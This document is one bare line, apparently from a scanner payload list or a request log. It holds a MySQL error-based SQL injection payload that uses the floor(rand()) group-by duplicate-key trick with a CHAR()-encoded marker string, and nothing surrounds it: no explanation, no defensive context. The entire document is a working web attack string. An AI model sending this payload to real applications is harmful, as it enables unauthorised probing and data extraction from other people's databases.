'(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(106),CHAR(120),CHAR(81),CHAR(82),CHAR(76),CHAR(51),CHAR(118),CHAR(90)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))'